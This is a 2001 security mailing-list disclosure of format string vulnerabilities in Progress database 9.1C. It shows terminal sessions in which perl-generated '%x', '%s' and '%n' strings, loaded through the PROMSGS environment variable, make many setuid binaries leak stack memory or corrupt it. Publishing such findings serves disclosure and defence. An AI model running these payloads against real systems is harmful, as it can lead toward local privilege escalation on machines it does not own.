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Progres Databse PROMSGS Format strings issue.
From: KF <dotslash () snosoft com>
Date: Fri, 02 Nov 2001 14:08:19 -0500

Well once again I have found yet another Progress database issue. 
The PROMSGS has been looked at one time already for buffer overflows. 
It was supposed to be fixed. I was poking around at it today and noticed
these format strings issues...
PROGRESS Version 9.1C as of Thu Jun 7 10:03:59 EDT 2001      

First test with a malformed PROMSGS. 

[elguapo () linux bin]$ echo blah > file
[elguapo () linux bin]$ export PROMSGS=./file
[elguapo () linux bin]$ ./_probuild
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 290
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 96
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 24
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912

Test to make sure they fixed my original hole with the buffer overflows.
(looks fine)

[elguapo () linux bin]$ echo `perl -e 'print "A" x 20000'` > file
[elguapo () linux bin]$ ./_probuild
Error formatting messaage 96.  Message file is corrupt.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
Error formatting messaage 24.  Message file is corrupt.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912

Well if you use a format string instead of an A we get much better
results. 

[elguapo () linux bin]$ echo `perl -e 'print "%x" x 9000'` > file
[elguapo () linux bin]$ ./_probuild
Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x83c63500xbffff81c0x10x00x8062d350x3cc6140x00xbffffd4f0x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff8250xbffff7340x80618450x00x83e3ec00x83e3ec00x83c7b200x900x83c63500xbffff81c0x10xbffff66c0x00x401e5f2c0x10000x401e44a00xbffff6680x4013f2bd0x10000x401e5f2c0xbffff7180x4013f2aa%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
Error formatting messaage 24.  Message file is corrupt.
0x837a70e0x83c63500x83e970c0x00xbffff6240x807784b0x40x83e95b00x83c63500xbffff81c0x00x202020200x00x323532390x202020360x525820200x584852410x4d4136500x59444d4d0x5148004d0xbffff5440x83e3ec00xbffff6c40x83166430xbffff5440xbffff6040xc00xbffff5440x83e3ec00xbffff5440x83e3ec00x83c63500x00x83e3ec00x50x2000x8a0xbffff5ad0x920xbffff56d%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912


[elguapo () linux bin]$ echo `perl -e 'print "%s" x 9000'` > file
[elguapo () linux bin]$ ./_probuild
Error formatting messaage 96.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
Error formatting messaage 49.  Message file is corrupt.
rcurctr overflow reading promsgs file.
(note the overflow msg)

[elguapo () linux bin]$ echo `perl -e 'print "%n" x 9000'` > file
[elguapo () linux bin]$ ./_probuild
Error formatting messaage 96.  Message file is corrupt.
0(tty)0(tty)6225424-20201(tty)0(tty)11573-148280(tty)-68928197281972819728197281972819728197-2011-225262130(tty)16064160643152014425424-20201(tty)-24520(tty)24364409617568-2456-3395409624364-2280-3414%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
Error formatting messaage 24.  Message file is corrupt.
-2277025424-268680(tty)-2524307954-2721625424-20200(tty)82240(tty)128578246822421057139041978977-274816064-236426179-2748-2556192-274816064-274816064254240(tty)160645512138-2643146-2707%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912

I am sure you get the idea... 

ALL suids in the dlc/bin dir are affected 
[elguapo () linux bin]$ ./_dbutil
Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x81159280xbffff77c0x00x00x805ec350x11cdf40x00xbffffd530x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff7250xbffff72c0x80543750x00x81222a00x81222a00x81161c00x900x81159280xbffff77c0x00x00x40015b980x7c304040x40012b4b0xbffff7000x40015a400x804bb1b0x00x10x400c4a4c0x400227c8%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
Error formatting messaage 24.  Message file is corrupt.
0x80fd96e0x81159280x81271340x00xbffff61c0x806540b0x40x8126fd80x81159280xbffff77c0x00x804daea0x00x81222a00x10x81159280x2080xbffff7480xdff00000x00x00x00x616441740x532f0x00x00xbffff7800x00x4e2069720x2020766f0x333120320x3a33313a0x322031310xa3130300x8000ff000x80b00d0c0x3900ffb00x2043312e0x202020200x20202020%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912
[elguapo () linux bin]$ ./_mprosrv
14:03:13 Error formatting messaage 96.  Message file is corrupt.
14:03:13
0x00x00x3e0x812f6280xbffff82c0x10x00x3f0xfff5e40x00xbffffd510x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff8250xbffff7200x80582250x00x813e8c00x813e8c00x81300200x900x812f6280xbffff82c0x10x400003d40x400157e00x80x40022c140x80x400c816c0x10x00x400229240xc0b8fae0x400227b8%
14:03:13 errno=0 reading promsgs file, it may have been deleted.
14:03:13 Unable to format message number 940
[elguapo () linux bin]$ ./_mprshut
Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x81802500xbffff82c0x10x00x805af750x1858740x00xbffffd510x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff8250xbffff6a00x80587650x00x819b8c00x819b8c00x8180d800x900x81802500xbffff82c0x10x00x00x00x00x00x00x00x00x00x00x0%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 940
[elguapo () linux bin]$ ./_proapsv
14:03:33 02 Nov 2001
  Error formatting messaage 96.  Message file is corrupt.
14:03:33 02 Nov 2001
 
0x00x00x3e0x842f7f00xbffff8300xbffff82c0x00x80645050x435d140x00xbffffd510x78
 
2578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff825
 
0xbffff4180x80630150x00x84573200x84573200x84312200x900x842f7f00x00xbffff82c0
 
x40015a400x400154140x40015a400x805527a0xbffff3680x4000d3600x40015b940x40022c
  900x70x00x180%
[elguapo () linux bin]$ ./_progres
Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x840eaf00xbffff82c0x10x00x80646750x414ff40x00xbffffd510x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff8250xbffff7440x80631850x00x842d1200x842d1200x84105000x900x840eaf00xbffff82c0x10xbffff67c0x00x401e5f2c0x10000x401e44a00xbffff6780x4013f2bd0x10000x401e5f2c0xbffff7280x4013f2aa%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
Error formatting messaage 24.  Message file is corrupt.
0x83bc8ce0x840eaf00x843296c0x00xbffff6340x807b0fb0x40x84328100x840eaf00xbffff82c0x00x202020200x00x323532390x202020360x525820200x584852410x4d4136500x59444d4d0x5148004d0xbffff5540x842d1200xbffff6d40x83587c30xbffff5540xbffff6140xc00xbffff5540x842d1200xbffff5540x842d1200x840eaf00x00x842d1200x50x2000x8a0xbffff5bd0x920xbffff57d%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912
[elguapo () linux bin]$ ./_proutil
\Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x81ae9480xbffff82c0x10x00x80595d50x1b3f340x00xbffffd510x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff8250xbffff7200x80580e50x00x81d77200x81d77200x81af4400x900x81ae9480xbffff82c0x10x40015b940x6dcac560x40012b4b0xbffff6f00x40015a400x804cdee0x400c5a4c0x400227c80x400c255c0x400227c80x0%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 6063
Error formatting messaage 24.  Message file is corrupt.
0x817912e0x81ae9480x81dc5b40x00xbffff6100x806ea1b0x40x81dc4580x81ae9480xbffff82c0x00x202020200x00x323532390x202020360x525820200x584852410x4d4136500x59444d4d0x5148004d0xbffff5300x81d77200xbffff6b00x816cdd30xbffff5300xbffff5f00xc00xbffff5300x81d77200xbffff5300x81d77200x81ae9480x00x81d77200x50x2000x8a0xbffff5990x920xbffff559%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 912
[elguapo () linux bin]$ ./_rfutil
Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x812d0080xbffff82c0x10x00x80586b50x1324740x00xbffffd530x782578250x782578250x782578250x782578250x782578250x782578250x782578250xbffff8250xbffff71c0x80571c50x00x81433e00x81433e00x812d9800x900x812d0080xbffff82c0x10x40015b940x6dcac560x40012b4b0xbffff6ec0x40015a400x804c3a70x400c5a4c0x400227c80x400c255c0x400227c80xbffff67c%
errno=0 reading promsgs file, it may have been deleted.
Unable to format message number 940
[elguapo () linux bin]$ ./prolib
Error formatting messaage 96.  Message file is corrupt.
0x00x00x3e0x806c4480x806e4ac0xbffff5fc0x00x00x00x00xbffffd550x782578250x782578250x782578250x782578250x782578250x782578250x782578250x7250xbffff3cc0x804b5590x00x806c4480x806e4ac0x7970x00x806e4ac0x00x00x00x00x00x00x00x00x00x00x00x00x0%errno=0
reading promsgs file, it may have been deleted.
Unable to format message number 1943

-KF


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